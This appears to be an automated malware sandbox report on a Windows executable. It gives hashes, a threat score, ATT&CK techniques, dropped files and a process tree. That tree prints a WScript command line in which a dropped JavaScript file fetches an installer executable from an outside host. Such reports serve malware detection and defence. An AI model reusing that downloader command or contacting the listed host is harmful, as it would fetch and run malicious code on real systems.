866daca65fcfe6d7f4ea7b75c993e336381f366479ff26f754185205c6903002

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
01/06/2024, 02:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe
Size

184KB
MD5

8918ad1f0dabbd69f21f1e73a20d4cdb
SHA1

3293d72b7dee5e7b8919355cb0dca483bc5e8bf8
SHA256

866daca65fcfe6d7f4ea7b75c993e336381f366479ff26f754185205c6903002
SHA512

bf50b212dbe70bbc2e544e1714518c647d84bf2b76301b1a924e686af6e792c0d977206480f09c46ed2bbedc0a9abd32e4d38800268e8e33b4d8a78c6142de3c
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	860	WScript.exe
8	860	WScript.exe
10	860	WScript.exe
12	2468	WScript.exe
13	2468	WScript.exe
16	1032	WScript.exe
17	1032	WScript.exe
19	2580	WScript.exe
20	2580	WScript.exe
22	1368	WScript.exe
23	1368	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 860	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	28
PID 2156 wrote to memory of 860	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	28
PID 2156 wrote to memory of 860	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	28
PID 2156 wrote to memory of 860	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	28
PID 2156 wrote to memory of 2468	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	30
PID 2156 wrote to memory of 2468	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	30
PID 2156 wrote to memory of 2468	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	30
PID 2156 wrote to memory of 2468	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	30
PID 2156 wrote to memory of 1032	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	32
PID 2156 wrote to memory of 1032	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	32
PID 2156 wrote to memory of 1032	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	32
PID 2156 wrote to memory of 1032	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	32
PID 2156 wrote to memory of 2580	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	34
PID 2156 wrote to memory of 2580	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	34
PID 2156 wrote to memory of 2580	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	34
PID 2156 wrote to memory of 2580	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	34
PID 2156 wrote to memory of 1368	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	36
PID 2156 wrote to memory of 1368	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	36
PID 2156 wrote to memory of 1368	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	36
PID 2156 wrote to memory of 1368	2156	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1287.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1287.exe
  2⤵
  - Blocklisted process makes network request
  PID:860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1287.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1287.exe
  2⤵
  - Blocklisted process makes network request
  PID:2468
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1287.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1287.exe
  2⤵
  - Blocklisted process makes network request
  PID:1032
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1287.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1287.exe
  2⤵
  - Blocklisted process makes network request
  PID:2580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1287.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1287.exe
  2⤵
  - Blocklisted process makes network request
  PID:1368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
ee1b1eb1cedb6cb147cfdc92cf7f8314

SHA1
457fc613e09aeb00000745cd238e8b4235ac2423

SHA256
e3e96522b5106c9c4012ceedf303ed88a127dc7d5977254cac063c77870de651

SHA512
f55143bb13428541b0fb142c063fb5c393b4545cfa02725c9ed4eb488a6fe3ec796f7e8e21dc22972108a55468c6249fea512df84e3cd9ac1cd7394020c42a5a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
792a7dcf0ddbf3b58a003b9e1ac13985

SHA1
79875a17ceb547dc1fe7d07007bc76000c1df232

SHA256
e587e34a9d5875f88dffd1a456120311b0fa3d80bb24ce7dc3502530ee2e1ef1

SHA512
e82eca0a990b8a087e2b1fcdc645fc32be8f6de3d5be17a2d41bfb70738fa746db1f1748287c91b1020abddea22f5dbc990f318c50c647f1e66d1827bde53120

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
331151fe94cc2908b84f3c1245d6061a

SHA1
168624b120ce0abd8a074380bc807e44b3db9de5

SHA256
f0ed5b6ce60800bbb2f4bc7a5a1aa5dc6758d07de76fe842913ca70406f41fa4

SHA512
a18ee6ee4dce4df32f41e3d23c087f06078eb1ac63ac6bbafa68869772ec94f4a55a8ca653b8cfd33478960d597b2721aa8b201bd7e99b4263b46887ce28f2ef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
39c19bfebfdfab1c53d1d7cbdacd458f

SHA1
d1e56f57bd6d8392b7a199aa3f187da4a05c9898

SHA256
48464234b4d6351f1b3d98ea669bdc8c93c5462852bf95d4728704679f1da4b2

SHA512
0798afc3f7e506f611e9dc6ddedaf1daba6bf6cab3682c0eeeec866b0d4aa7078cdb215737a983ade11ebed29d32e0b582e4ec7c59e91ad4000542ddf967cb75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
6KB

MD5
570479077be34bf5729b9ee59168513c

SHA1
91684763d89ced22afd1add2a3b7aea66ffce7f4

SHA256
c9e570632961b69c75ac6716b630b32d79eb7cfff75948a8699b19372d4c3ebe

SHA512
1c25008cc139587b8abb34f42865340a6953d2bd919f3e223888c4a8298d4b74607766eb4cb88fcf8798580ddfc5e873ca2cfd08d63b1f2f8c4c38dda9e74c19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
6KB

MD5
1b77d0ba7fbfaa6e71eafaa5f7824daf

SHA1
14313d6ac1b4e251ea368977b3c0b195863eec77

SHA256
dc88321f047f7448afeea7a9a50e9545516d612abfd00797fa73892c64380cdd

SHA512
295bbfa86cec9d82014de087df059fd7b290b8a39ad97852232c5f0560fc0709fb3043fa7eb29aa7f64d9edd3c10e061c682c6a1a5e094b5a5ac318cb82d130a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
6KB

MD5
bcf52d60aad39b583084abea5cdbfa6d

SHA1
67232a487188449185b053b2fd48165e2aa2b438

SHA256
c3e3faf4fb0b77b8a83c9067622986705f76709305fef73db6a0a108fb0fe022

SHA512
f817a0d3a4a0973962aa6cd75e9b08cae312890eed576887390a55050c1f101d33f69ebe55bbe3d129e7b1d72f37e74181a265a5151c88cae37475e7720af856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
6KB

MD5
ef19a5af7835b5e6abc268e9473b9688

SHA1
877d223d4d663db77f573abb7b79c39b66a3e9d1

SHA256
d9e76e3ddb5c701cb95dd0426490de3c2934c699b37b4047061fdcaba4303045

SHA512
d1d144ea4b5714362a88cccb2bb9d38e573056029831a18d09e626029afc309d933594050b565c3e30fe88110e7bba3b8b2dd62398ea8c1f4332af22d9fdcf9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4200.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5B3B.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1287.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\ZY8JW7AV.txt

Filesize
175B

MD5
97d4886d2006c9e4fa7fd1562b993393

SHA1
4f8468f9989612d6bd86044081002a6d7fdfe025

SHA256
0a67413662e40446cbadca93a6e4600fe02b0ee045673d0c8dd6de7f537c82bd

SHA512
c25ff36927867560f66f79b9e36b1a866319f01644fbd6d7776fe0c4db98aafa70f48ffa307a6bac27229b333da032ca40bd4803b9dfc1572dacaefa82bcdc3b

Download Submit